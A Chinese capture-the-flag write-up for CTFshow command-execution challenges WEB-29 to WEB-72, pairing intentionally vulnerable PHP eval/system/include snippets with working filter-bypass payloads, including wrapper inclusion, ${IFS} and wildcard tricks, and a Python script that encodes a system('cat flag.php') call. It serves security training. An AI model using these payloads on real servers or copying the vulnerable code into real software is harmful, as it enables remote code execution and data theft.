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CtfShow------命令执行
CtfShow------命令执行
网络安全 PHP
PHP CTF
CC BY-NC-SA 4.0
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CtfShow------命令执行
目 录

仅供学习参考，禁止用于其他非法途径

WEB-29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤flag

payload:?c=echo%20`nl%20f*`;

WEB-30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤flag,system,php

payload:?c=echo%20`nl%20f*`;

WEB-31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了空格

payload:?c=echo%09`nl%09f*`;

WEB-32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了echo

payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB-33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

和上题一样

payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB-34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

和上题一样

payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB-35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

和上题一样

payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

WEB-36

<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
    eval($c);
}
}else{
    highlight_file(__FILE__);
}

过滤了[0-9]

payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

WEB-37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}

过滤flag

payload:?c=data:text/plain,<?php system('cat f*');?>

WEB-38

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;   
    }    
}else{
    highlight_file(__FILE__);
}

过滤了php

payload:?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pgo

WEB-39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
}else{
    highlight_file(__FILE__);
}

过滤flag

payload:?c=data:text/plain,<?php system('nl f*');?>

WEB-40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }  
}else{
    highlight_file(__FILE__);
}

函数绕过

payload:?c=show_source(next(array_reverse(scandir(getcwd()))));

WEB-41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

payload:

import requests
import urllib
import re
from sys import *
 
url = 'http://0939291c-0c2e-45ba-b965-127658c423ba.challenge.ctf.show/'
 
 
def write_rce():
    result = ''
    preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i | j
                if 32 <= k <= 126:
                    a = chr(k) + ' %' + hex(i)[2:].zfill(2) + ' %' + hex(j)[2:].zfill(2) + '\n'
                    result += a
    with open('rce.txt', 'w') as f:
        f.write(result)
 
def get(context):
    a1 = ''
    b1 = ''
    for i in context:
        with open('rce.txt', 'r') as f:
            while True:
                line = f.readline()
                if line == '':
                    break
                if line[0] == i:
                    a1 += line[2:5]
                    b1 += line[6:9]
                    break
    return '("' + a1 + '"|"' + b1 + '")'
 
def main():
    write_rce()
    function = 'system'
    parm = 'cat flag.php'
    a1 = get(function)
    b1 = get(parm)
    data = {'c': urllib.parse.unquote(a1 + b1)}
    res = requests.post(url, data=data)
    print(res.text)

main()

WEB-42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

没过滤

payload:?c=tac f*;

WEB-43

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了cat和;

payload:?c=tac fl*||

WEB-44

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了cat,flag和;

payload:?c=tac f*||

WEB-45

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了空格

payload:?c=tac${IFS}f*||

WEB-46

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了数字,$和*

payload:?c=tac%09fla?????||

WEB-47

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和上题一样

payload:?c=tac%09fla?????||

WEB-48

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和上题一样

payload:?c=tac%09fla?????||

WEB-49

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

和上题一样

payload:?c=tac%09fla?????||

WEB-50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了%09

payload:?c=nl<fla''g.php||

WEB-51

<?php
if(isset($_GET['c']))
{
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");
}
}else{
    highlight_file(__FILE__);
}

和上题一样

payload:?c=nl<fla''g.php||

WEB-52

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了<>

payload:?c=nl${IFS}/fla''g||

WEB-53

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

直接输出

payload:?c=nl${IFS}fla''g.php

WEB-54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

用问号代替

payload:?c=/bin/c??${IFS}????????

WEB-55

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

用问号代替

payload:?c=/???/????64 ????????

WEB-56

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

用问号代替

payload:?c=/???/????64 ????????

WEB-57

<?php
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

c等于36

payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

WEB-58

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=readfile('flag.php');
c=highlight_file('flag.php');
c=show_source('flag.php');
c=echo file_get_contents('flag.php');
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));

WEB-59

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=print_r(file('flag.php'));

WEB-60

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=show_source('flag.php');

WEB-61

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=show_source('flag.php');

WEB-62

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=show_source('flag.php');

WEB-63

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=show_source('flag.php');

WEB-64

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=show_source('flag.php');

WEB-65

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=show_source('flag.php');

WEB-66

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=var_dump(scandir("/"));
c=highlight_file('/flag.txt');
c=include('/flag.txt');
c=require_once('/flag.txt');

WEB-67

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=var_dump(scandir("/"));
c=require_once('/flag.txt');

WEB-68

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=require_once('/flag.txt');

WEB-69

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=require_once('/flag.txt');

WEB-70

<?php
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

disable_functions系列

payload:c=require_once('/flag.txt');

WEB-71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

disable_functions系列

payload:c=require_once('/flag.txt');exit();

WEB-72

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗？
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>
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CtfShow------命令执行
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